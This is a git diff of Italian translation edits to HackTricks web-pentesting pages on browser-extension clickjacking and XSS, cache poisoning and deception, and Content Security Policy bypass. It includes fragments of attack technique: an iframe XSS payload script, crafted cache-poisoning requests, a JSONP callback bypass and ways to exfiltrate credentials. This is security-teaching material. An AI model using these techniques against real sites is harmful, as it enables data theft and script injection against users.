CORS appropriate, quindi sono disponibili tramite meccanismi come XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) +> Queste risorse sarebbero quindi disponibili in una pagina web tramite l'URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, che può essere generato con il **`extension.getURL method`**. Le risorse autorizzate vengono servite con intestazioni CORS appropriate, quindi sono disponibili tramite meccanismi come XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) Le **`web_accessible_resources`** in un'estensione del browser non sono accessibili solo tramite il web; operano anche con i privilegi intrinseci dell'estensione. Questo significa che hanno la capacità di: @@ -21,7 +21,7 @@ Le **`web_accessible_resources`** in un'estensione del browser non sono accessib - Caricare risorse aggiuntive - Interagire con il browser in una certa misura -Tuttavia, questa funzionalità presenta un rischio per la sicurezza. Se una risorsa all'interno di **`web_accessible_resources`** ha una funzionalità significativa, un attaccante potrebbe potenzialmente incorporare questa risorsa in una pagina web esterna. Gli utenti ignari che visitano questa pagina potrebbero attivare involontariamente questa risorsa incorporata. Tale attivazione potrebbe portare a conseguenze indesiderate, a seconda dei permessi e delle capacità delle risorse dell'estensione. +Tuttavia, questa funzionalità presenta un rischio per la sicurezza. Se una risorsa all'interno delle **`web_accessible_resources`** ha una funzionalità significativa, un attaccante potrebbe potenzialmente incorporare questa risorsa in una pagina web esterna. Gli utenti ignari che visitano questa pagina potrebbero attivare involontariamente questa risorsa incorporata. Tale attivazione potrebbe portare a conseguenze indesiderate, a seconda delle autorizzazioni e delle capacità delle risorse dell'estensione. ## Esempio di PrivacyBadger @@ -32,7 +32,7 @@ Nell'estensione PrivacyBadger, è stata identificata una vulnerabilità relativa "icons/*" ] ``` -Questa configurazione ha portato a un potenziale problema di sicurezza. In particolare, il file `skin/popup.html`, che viene visualizzato al momento dell'interazione con l'icona di PrivacyBadger nel browser, potrebbe essere incorporato all'interno di un `iframe`. Questo embedding potrebbe essere sfruttato per ingannare gli utenti a cliccare involontariamente su "Disabilita PrivacyBadger per questo sito web". Tale azione comprometterebbe la privacy dell'utente disabilitando la protezione di PrivacyBadger e potenzialmente sottoponendo l'utente a un tracciamento aumentato. Una dimostrazione visiva di questo exploit può essere vista in un esempio video di ClickJacking fornito su [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). +Questa configurazione ha portato a un potenziale problema di sicurezza. In particolare, il file `skin/popup.html`, che viene visualizzato al momento dell'interazione con l'icona di PrivacyBadger nel browser, potrebbe essere incorporato all'interno di un `iframe`. Questo embedding potrebbe essere sfruttato per ingannare gli utenti a cliccare involontariamente su "Disabilita PrivacyBadger per questo sito web". Tale azione comprometterebbe la privacy dell'utente disabilitando la protezione di PrivacyBadger e potenzialmente soggiacendo l'utente a un tracciamento aumentato. Una dimostrazione visiva di questo exploit può essere vista in un esempio video di ClickJacking fornito su [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). Per affrontare questa vulnerabilità, è stata implementata una soluzione semplice: la rimozione di `/skin/*` dall'elenco delle `web_accessible_resources`. Questa modifica ha effettivamente mitigato il rischio assicurando che il contenuto della directory `skin/` non potesse essere accessibile o manipolato tramite risorse web-accessibili. @@ -79,7 +79,7 @@ Un [**post del blog su un ClickJacking in metamask può essere trovato qui**](ht
-**Un altro ClickJacking risolto** nell'estensione Metamask era che gli utenti potevano **Cliccare per aggiungere alla whitelist** quando una pagina era sospetta di phishing a causa di `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Poiché quella pagina era vulnerabile al Clickjacking, un attaccante poteva abusarne mostrando qualcosa di normale per far cliccare la vittima per aggiungerla alla whitelist senza accorgersene, e poi tornare alla pagina di phishing che sarà aggiunta alla whitelist. +**Un altro ClickJacking risolto** nell'estensione Metamask era che gli utenti potevano **Cliccare per whitelistare** quando una pagina era sospetta di phishing a causa di `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Poiché quella pagina era vulnerabile al Clickjacking, un attaccante poteva abusarne mostrando qualcosa di normale per far cliccare la vittima per whitelistarla senza accorgersene, e poi tornare alla pagina di phishing che sarà whitelistata. ## Esempio Steam Inventory Helper diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index c39e5c7ae..f863a1088 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -52,16 +52,16 @@ Inoltre, **`host_permissions`** sblocca anche la funzionalità “avanzata” [* Gli script di contenuto non devono necessariamente essere scritti staticamente nel manifesto dell'estensione. Date sufficienti **`host_permissions`**, **le estensioni possono anche caricarli dinamicamente chiamando** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **o** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). -Entrambi gli API consentono di eseguire non solo file contenuti nelle estensioni come script di contenuto, ma anche **codice arbitrario**. Il primo consente di passare codice JavaScript come stringa, mentre il secondo si aspetta una funzione JavaScript che è meno soggetta a vulnerabilità di iniezione. Tuttavia, entrambi gli API possono causare danni se usati in modo improprio. +Entrambi gli API consentono di eseguire non solo file contenuti nelle estensioni come script di contenuto, ma anche **codice arbitrario**. Il primo consente di passare codice JavaScript come stringa, mentre il secondo si aspetta una funzione JavaScript che è meno soggetta a vulnerabilità di iniezione. Tuttavia, entrambi gli API possono causare danni se utilizzati in modo improprio. > [!CAUTION] -> Oltre alle capacità sopra, gli script di contenuto potrebbero ad esempio **intercettare le credenziali** mentre vengono inserite nelle pagine web. Un altro modo classico per abusarne è **iniettare pubblicità** su ogni singolo sito web. Aggiungere **messaggi truffa** per abusare della credibilità dei siti di notizie è anche possibile. Infine, potrebbero **manipolare i siti web bancari** per reindirizzare i trasferimenti di denaro. +> Oltre alle capacità sopra, gli script di contenuto potrebbero ad esempio **intercettare le credenziali** mentre vengono inserite nelle pagine web. Un altro modo classico per abusarne è **iniettare pubblicità** su ogni singolo sito web. Aggiungere **messaggi truffa** per abusare della credibilità dei siti di notizie è anche possibile. Infine, potrebbero **manipolare i siti bancari** per reindirizzare i trasferimenti di denaro. ### Privilegi impliciti -Alcuni privilegi delle estensioni **non devono essere dichiarati esplicitamente**. Un esempio è l'[API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): la sua funzionalità di base è accessibile senza alcun privilegio. Qualsiasi estensione può essere notificata quando apri e chiudi schede, semplicemente non saprà a quale sito web corrispondono queste schede. +Alcuni privilegi delle estensioni **non devono essere dichiarati esplicitamente**. Un esempio è l'[API delle schede](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): la sua funzionalità di base è accessibile senza alcun privilegio. Qualsiasi estensione può essere notificata quando apri e chiudi schede, semplicemente non saprà a quale sito web corrispondono queste schede. -Sembra troppo innocuo? L'[API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) è un po' meno così. Può essere utilizzata per **creare una nuova scheda**, essenzialmente la stessa cosa di [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) che può essere chiamata da qualsiasi sito web. Eppure, mentre `window.open()` è soggetto al **blocco dei pop-up, `tabs.create()` non lo è**. +Sembra troppo innocuo? L'[API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) è un po' meno così. Può essere utilizzata per **creare una nuova scheda**, essenzialmente la stessa cosa di [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) che può essere chiamata da qualsiasi sito web. Tuttavia, mentre `window.open()` è soggetto al **blocco dei pop-up, `tabs.create()` non lo è**. > [!CAUTION] > Un'estensione può creare qualsiasi numero di schede ogni volta che vuole. @@ -77,13 +77,13 @@ Probabilmente sai che i siti web possono richiedere permessi speciali, ad esempi > [!CAUTION] > Non così con le estensioni del browser. **Se un'estensione del browser** [**vuole accedere alla tua webcam o al microfono**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, ha bisogno di chiedere il permesso solo una volta** -Tipicamente, un'estensione lo farà immediatamente dopo essere stata installata. Una volta che questo avviso è accettato, **l'accesso alla webcam è possibile in qualsiasi momento**, anche se l'utente non sta interagendo con l'estensione in quel momento. Sì, un utente accetterà questo avviso solo se l'estensione ha davvero bisogno dell'accesso alla webcam. Ma dopo di ciò devono fidarsi dell'estensione per non registrare nulla di nascosto. +Tipicamente, un'estensione lo farà immediatamente dopo essere stata installata. Una volta che questo avviso è accettato, **l'accesso alla webcam è possibile in qualsiasi momento**, anche se l'utente non sta interagendo con l'estensione in quel momento. Sì, un utente accetterà questo avviso solo se l'estensione ha davvero bisogno dell'accesso alla webcam. Ma dopo devono fidarsi dell'estensione per non registrare nulla di nascosto. -Con accesso alla [tua esatta posizione geografica](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) o [contenuti degli appunti](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), concedere il permesso esplicitamente è del tutto superfluo. **Un'estensione aggiunge semplicemente `geolocation` o `clipboard` all'** [**voce di permessi**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **del suo manifesto**. Questi privilegi di accesso vengono quindi concessi implicitamente quando l'estensione viene installata. Quindi un'estensione malevola o compromessa con questi privilegi può creare il tuo profilo di movimento o monitorare i tuoi appunti per le password copiate senza che tu te ne accorga. +Con accesso alla [tua esatta posizione geografica](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) o [contenuti degli appunti](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), concedere il permesso esplicitamente è del tutto superfluo. **Un'estensione aggiunge semplicemente `geolocation` o `clipboard` all'** [**voce dei permessi**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **del suo manifesto**. Questi privilegi di accesso vengono quindi concessi implicitamente quando l'estensione viene installata. Quindi un'estensione malevola o compromessa con questi privilegi può creare il tuo profilo di movimento o monitorare i tuoi appunti per le password copiate senza che tu te ne accorga. -Aggiungere la parola chiave **`history`** all'[voce di permessi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) del manifesto dell'estensione concede **accesso all'** [**API history**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Consente di recuperare l'intera cronologia di navigazione dell'utente tutto in una volta, senza aspettare che l'utente visiti nuovamente questi siti web. +Aggiungere la parola chiave **`history`** all'[voce dei permessi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) del manifesto dell'estensione concede **accesso all'** [**API della cronologia**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Consente di recuperare l'intera cronologia di navigazione dell'utente tutto in una volta, senza aspettare che l'utente visiti nuovamente questi siti web. -Il **permesso `bookmarks`** ha un potenziale di abuso simile, questo consente **di leggere tutti i segnalibri tramite l'** [**API bookmarks**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). +Il **permesso `bookmarks`** ha un potenziale di abuso simile, questo consente **di leggere tutti i segnalibri tramite l'** [**API dei segnalibri**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). ### Permesso di archiviazione diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 3834e978f..a4b64cf28 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -29,7 +29,7 @@ chrome.tabs.create({ url: destinationURL }) }) }) ``` -Uno script malevolo viene eseguito sulla pagina di un avversario, modificando il parametro `content` della sorgente dell'Iframe per introdurre un **payload XSS**. Questo viene realizzato aggiornando la sorgente dell'Iframe per includere uno script dannoso: +Uno script malevolo viene eseguito sulla pagina di un avversario, modificando il parametro `content` della sorgente dell'Iframe per introdurre un **XSS payload**. Questo viene realizzato aggiornando la sorgente dell'Iframe per includere uno script dannoso: ```javascript setTimeout(() => { let targetFrame = document.querySelector("iframe").src diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 115f4af2e..8fffc8ea7 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -99,7 +99,7 @@ cache-poisoning-via-url-discrepancies.md [**Questo articolo spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché qualsiasi cosa che corrisponde a `/share/*` sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web. -Questo è spiegato meglio anche in: +Questo è spiegato meglio in: {{#ref}} cache-poisoning-via-url-discrepancies.md @@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md ### Utilizzo di più intestazioni per sfruttare le vulnerabilità di avvelenamento della cache web -A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **Open redirect** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le **richieste HTTP** **a HTTPS** e utilizzando l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina è puntata dal reindirizzamento. +A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **reindirizzamento aperto** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le **richieste HTTP** **a HTTPS** e utilizzando l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina è puntata dal reindirizzamento. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -192,7 +192,7 @@ Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratter ## Cache Deception -L'obiettivo della Cache Deception è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**. +L'obiettivo del Cache Deception è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**. Prima di tutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono solitamente **configurate** per essere **salvate** nella **cache.** Pertanto, se accedi a `www.example.com/profile.php/nonexistent.js`, la cache probabilmente memorizzerà la risposta perché vede l'estensione `.js`. Ma, se l'**applicazione** sta **restituendo** i contenuti **sensibili** dell'utente memorizzati in _www.example.com/profile.php_, puoi **rubare** quei contenuti da altri utenti. @@ -209,7 +209,7 @@ Un altro esempio molto chiaro può essere trovato in questo report: [https://hac Nell'esempio, viene spiegato che se carichi una pagina non esistente come _http://www.example.com/home.php/non-existent.css_, il contenuto di _http://www.example.com/home.php_ (**con le informazioni sensibili dell'utente**) verrà restituito e il server della cache salverà il risultato.\ Poi, l'**attaccante** può accedere a _http://www.example.com/home.php/non-existent.css_ nel proprio browser e osservare le **informazioni riservate** degli utenti che hanno accesso prima. -Nota che il **proxy di cache** dovrebbe essere **configurato** per **memorizzare** i file **basandosi** sull'**estensione** del file (_.css_) e non basandosi sul content-type. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo MIME `text/css` (che è quello previsto per un file _.css_). +Nota che il **cache proxy** dovrebbe essere **configurato** per **memorizzare** i file **basandosi** sull'**estensione** del file (_.css_) e non basandosi sul content-type. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo MIME `text/css` (che è quello previsto per un file _.css_). Scopri qui come eseguire [attacchi di Cache Deceptions abusando dell'HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md index f44dcd21a..e3c6abc15 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -3,11 +3,11 @@ {{#include ../../banners/hacktricks-training.md}} > [!CAUTION] -> In questa pagina puoi trovare diverse variazioni per cercare di far sì che il **server web risponda con errori** a richieste che sono **valide per i server di cache** +> In questa pagina puoi trovare diverse variazioni per cercare di far **rispondere il server web con errori** a richieste che sono **valide per i server di cache** - **HTTP Header Oversize (HHO)** -Invia una richiesta con una dimensione dell'intestazione maggiore di quella supportata dal server web ma minore di quella supportata dal server di cache. Il server web risponderà con una risposta 400 che potrebbe essere memorizzata nella cache: +Invia una richiesta con una dimensione dell'intestazione maggiore di quella supportata dal server web ma inferiore a quella supportata dal server di cache. Il server web risponderà con una risposta 400 che potrebbe essere memorizzata nella cache: ``` GET / HTTP/1.1 Host: redacted.com diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index 45d21be84..845182836 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -5,16 +5,16 @@ Questo è un riepilogo delle tecniche proposte nel post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) per eseguire attacchi di cache poisoning **abusando delle discrepanze tra i proxy di cache e i server web.** > [!NOTE] -> L'obiettivo di questo attacco è **far credere al server di cache che una risorsa statica venga caricata** in modo che la memorizzi nella cache, mentre il server di cache memorizza come chiave di cache parte del percorso, ma il server web risponde risolvendo un altro percorso. Il server web risolverà il percorso reale che caricherà una pagina dinamica (che potrebbe contenere informazioni sensibili sull'utente, un payload malevolo come XSS o reindirizzare per caricare un file JS dal sito web dell'attaccante, ad esempio). +> L'obiettivo di questo attacco è **far credere al server di cache che una risorsa statica venga caricata** in modo che la memorizzi nella cache mentre il server di cache memorizza come chiave di cache parte del percorso, ma il server web risponde risolvendo un altro percorso. Il server web risolverà il percorso reale che caricherà una pagina dinamica (che potrebbe contenere informazioni sensibili sull'utente, un payload malevolo come XSS o reindirizzare per caricare un file JS dal sito web dell'attaccante, ad esempio). ## Delimitatori -I **delimitatori URL** variano a seconda del framework e del server, influenzando come le richieste vengono instradate e le risposte gestite. Alcuni delimitatori di origine comuni sono: +**I delimitatori URL** variano a seconda del framework e del server, influenzando come le richieste vengono instradate e come le risposte vengono gestite. Alcuni delimitatori di origine comuni sono: -- **Punto e virgola**: Usato in Spring per variabili matrice (ad es. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). -- **Punto**: Specifica il formato di risposta in Ruby on Rails (ad es. `/MyAccount.css` → `/MyAccount`). +- **Punto e virgola**: Utilizzato in Spring per variabili di matrice (ad es. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). +- **Punto**: Specifica il formato della risposta in Ruby on Rails (ad es. `/MyAccount.css` → `/MyAccount`). - **Byte nullo**: Trunca i percorsi in OpenLiteSpeed (ad es. `/MyAccount%00aaa` → `/MyAccount`). -- **Byte di nuova linea**: Separa i componenti URL in Nginx (ad es. `/users/MyAccount%0aaaa` → `/account/MyAccount`). +- **Byte di nuova riga**: Separa i componenti URL in Nginx (ad es. `/users/MyAccount%0aaaa` → `/account/MyAccount`). Altri delimitatori specifici potrebbero essere trovati seguendo questo processo: @@ -22,7 +22,7 @@ Altri delimitatori specifici potrebbero essere trovati seguendo questo processo: - **Passo 2**: Aggiungere suffissi casuali ai percorsi e confrontare la risposta del server per determinare se un carattere funge da delimitatore. - **Passo 3**: Introdurre potenziali delimitatori prima del suffisso casuale per vedere se la risposta cambia, indicando l'uso del delimitatore. -## Normalizzazione & Codifiche +## Normalizzazione e codifiche - **Scopo**: I parser URL sia nei server di cache che in quelli di origine normalizzano gli URL per estrarre percorsi per il mapping degli endpoint e le chiavi di cache. - **Processo**: Identifica i delimitatori di percorso, estrae e normalizza il percorso decodificando i caratteri e rimuovendo i segmenti di punto. @@ -35,7 +35,7 @@ Un modo per controllare queste incoerenze è inviare richieste URL codificando c ### Segmento punto -La normalizzazione del percorso in cui sono coinvolti i punti è anche molto interessante per gli attacchi di cache poisoning. Ad esempio, `/static/../home/index` o `/aaa..\home/index`, alcuni server di cache memorizzeranno questi percorsi con se stessi come chiavi, mentre altri potrebbero risolvere il percorso e utilizzare `/home/index` come chiave di cache.\ +La normalizzazione del percorso in cui sono coinvolti i punti è anche molto interessante per gli attacchi di cache poisoning. Ad esempio, `/static/../home/index` o `/aaa..\home/index`, alcuni server di cache memorizzeranno questi percorsi con se stessi come chiavi mentre altri potrebbero risolvere il percorso e utilizzare `/home/index` come chiave di cache.\ Proprio come prima, inviare questo tipo di richieste e controllare se la risposta è stata raccolta dalla cache aiuta a identificare se la risposta a `/home/index` è la risposta inviata quando quei percorsi vengono richiesti. ## Risorse statiche @@ -43,7 +43,7 @@ Proprio come prima, inviare questo tipo di richieste e controllare se la rispost Diversi server di cache memorizzeranno sempre una risposta se viene identificata come statica. Questo potrebbe essere dovuto a: - **L'estensione**: Cloudflare memorizzerà sempre nella cache i file con le seguenti estensioni: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx -- È possibile forzare una cache che memorizza una risposta dinamica utilizzando un delimitatore e un'estensione statica come una richiesta a `/home$image.png` che memorizzerà nella cache `/home$image.png` e il server di origine risponderà con `/home` +- È possibile forzare una cache che memorizza una risposta dinamica utilizzando un delimitatore e un'estensione statica come una richiesta a `/home$image.png` memorizzerà nella cache `/home$image.png` e il server di origine risponderà con `/home` - **Directory statiche ben note**: Le seguenti directory contengono file statici e quindi la loro risposta dovrebbe essere memorizzata nella cache: /static, /assets, /wp-content, /media, /templates, /public, /shared - È possibile forzare una cache che memorizza una risposta dinamica utilizzando un delimitatore, una directory statica e punti come: `/home/..%2fstatic/something` memorizzerà nella cache `/static/something` e la risposta sarà `/home` - **Directory statiche + punti**: Una richiesta a `/static/..%2Fhome` o a `/static/..%5Chome` potrebbe essere memorizzata nella cache così com'è, ma la risposta potrebbe essere `/home` diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 2debe542d..b665790e4 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,9 +4,9 @@ ## Cos'è CSP -La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come il cross-site scripting (XSS)**. Funziona definendo e dettagliando percorsi e fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una gamma di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`. +Content Security Policy (CSP) è riconosciuto come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come il cross-site scripting (XSS)**. Funziona definendo e dettagliando percorsi e fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una gamma di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`. -L'implementazione della CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate. +L'implementazione di CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate. - Implementato tramite header di risposta: ``` @@ -88,8 +88,8 @@ b.nonce=a.nonce; doc.body.appendChild(b)' /> ``` -- `'sha256-'`: Consente solo script con un hash sha256 specifico. -- `'strict-dynamic'`: Consente il caricamento di script da qualsiasi fonte se è stato autorizzato da un nonce o hash. +- `'sha256-'`: Aggiunge alla whitelist gli script con un hash sha256 specifico. +- `'strict-dynamic'`: Consente il caricamento di script da qualsiasi fonte se è stato aggiunto alla whitelist tramite un nonce o un hash. - `'host'`: Specifica un host specifico, come `example.com`. - `https:`: Limita gli URL a quelli che utilizzano HTTPS. - `blob:`: Consente il caricamento di risorse da URL Blob (ad es., URL Blob creati tramite JavaScript). @@ -115,7 +115,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md ### 'unsafe-eval' -> [!ATTENZIONE] +> [!CAUTION] > Questo non funziona, per maggiori informazioni [**controlla questo**](https://github.com/HackTricks-wiki/hacktricks/issues/653). ```yaml Content-Security-Policy: script-src https://google.com 'unsafe-eval'; @@ -161,13 +161,13 @@ Payload funzionante: ``` Tuttavia, è altamente probabile che il server **stia convalidando il file caricato** e permetterà solo di **caricare determinati tipi di file**. -Inoltre, anche se potessi caricare un **codice JS all'interno** di un file utilizzando un'estensione accettata dal server (come: _script.png_), questo non sarà sufficiente perché alcuni server come il server Apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci sono errori. Ad esempio, da un CTF ho appreso che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***. +Inoltre, anche se potessi caricare un **codice JS all'interno** di un file con un'estensione accettata dal server (come: _script.png_), questo non sarà sufficiente perché alcuni server come il server Apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci sono errori. Ad esempio, da un CTF ho appreso che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***. Da qui, se trovi un XSS e un caricamento di file, e riesci a trovare un **estensione mal interpretata**, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un polyglot ([alcuni esempi di polyglot qui](https://github.com/Polydet/polyglot-database)). ### Form-action -Se non è possibile iniettare JS, potresti comunque provare a esfiltrare ad esempio credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un [**esempio in questo report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo. +Se non è possibile iniettare JS, potresti comunque provare a esfiltrare, ad esempio, credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un [**esempio in questo report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo. ### Endpoint di terze parti + ('unsafe-eval') @@ -284,13 +284,13 @@ Scenari come questo in cui `script-src` è impostato su `self` e un dominio part https://www.youtube.com/oembed?callback=alert; ``` -[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per bypassare CSP di diversi siti web.** +[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per bypassare la CSP di diversi siti web.** La stessa vulnerabilità si verificherà se l'**endpoint fidato contiene un Open Redirect** perché se l'endpoint iniziale è fidato, i redirect sono fidati. ### Abusi di Terze Parti -Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nel CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi terzi sono: +Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nella CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi terzi sono: | Entità | Dominio Consentito | Capacità | | ----------------- | -------------------------------------------- | ------------ | @@ -303,9 +303,9 @@ Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-th | Salesforce Heroku | \*.herokuapp.com | Exfil, Exec | | Google Firebase | \*.firebaseapp.com | Exfil, Exec | -Se trovi uno dei domini consentiti nel CSP del tuo obiettivo, è probabile che tu possa bypassare il CSP registrandoti sul servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice. +Se trovi uno dei domini consentiti nella CSP del tuo obiettivo, è probabile che tu possa bypassare la CSP registrandoti sul servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice. -Ad esempio, se trovi il seguente CSP: +Ad esempio, se trovi la seguente CSP: ``` Content-Security-Policy​: default-src 'self’ www.facebook.com;​ ``` @@ -345,7 +345,7 @@ Questo funziona perché per il browser stai caricando un file chiamato `..%2fang ∑, lo decodificheranno, richiedendo effettivamente 